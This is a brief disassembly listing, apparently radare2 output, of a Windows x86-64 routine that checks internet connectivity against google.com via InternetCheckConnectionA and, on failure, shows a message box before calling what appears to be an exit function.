lea rbp, [rsp + 0x20]
lea rcx, [0x14049923d]
call fcn.14014bbf3
xor r8d, r8d
mov edx, 1
lea rcx, str.https:__google.com
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x140167d6d
mov byte [rbp + 0xd4], 1
jmp 0x140167d74
mov byte [rbp + 0xd4], 0
movzx eax, byte [rbp + 0xd4]
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
test eax, eax
je 0x140167d88
jmp 0x140167dab
xor r9d, r9d
lea r8, reloc.WLDAP32.dll_Ordinal_32
lea rdx, [0x1403ee590]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call fcn.1401457ad
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret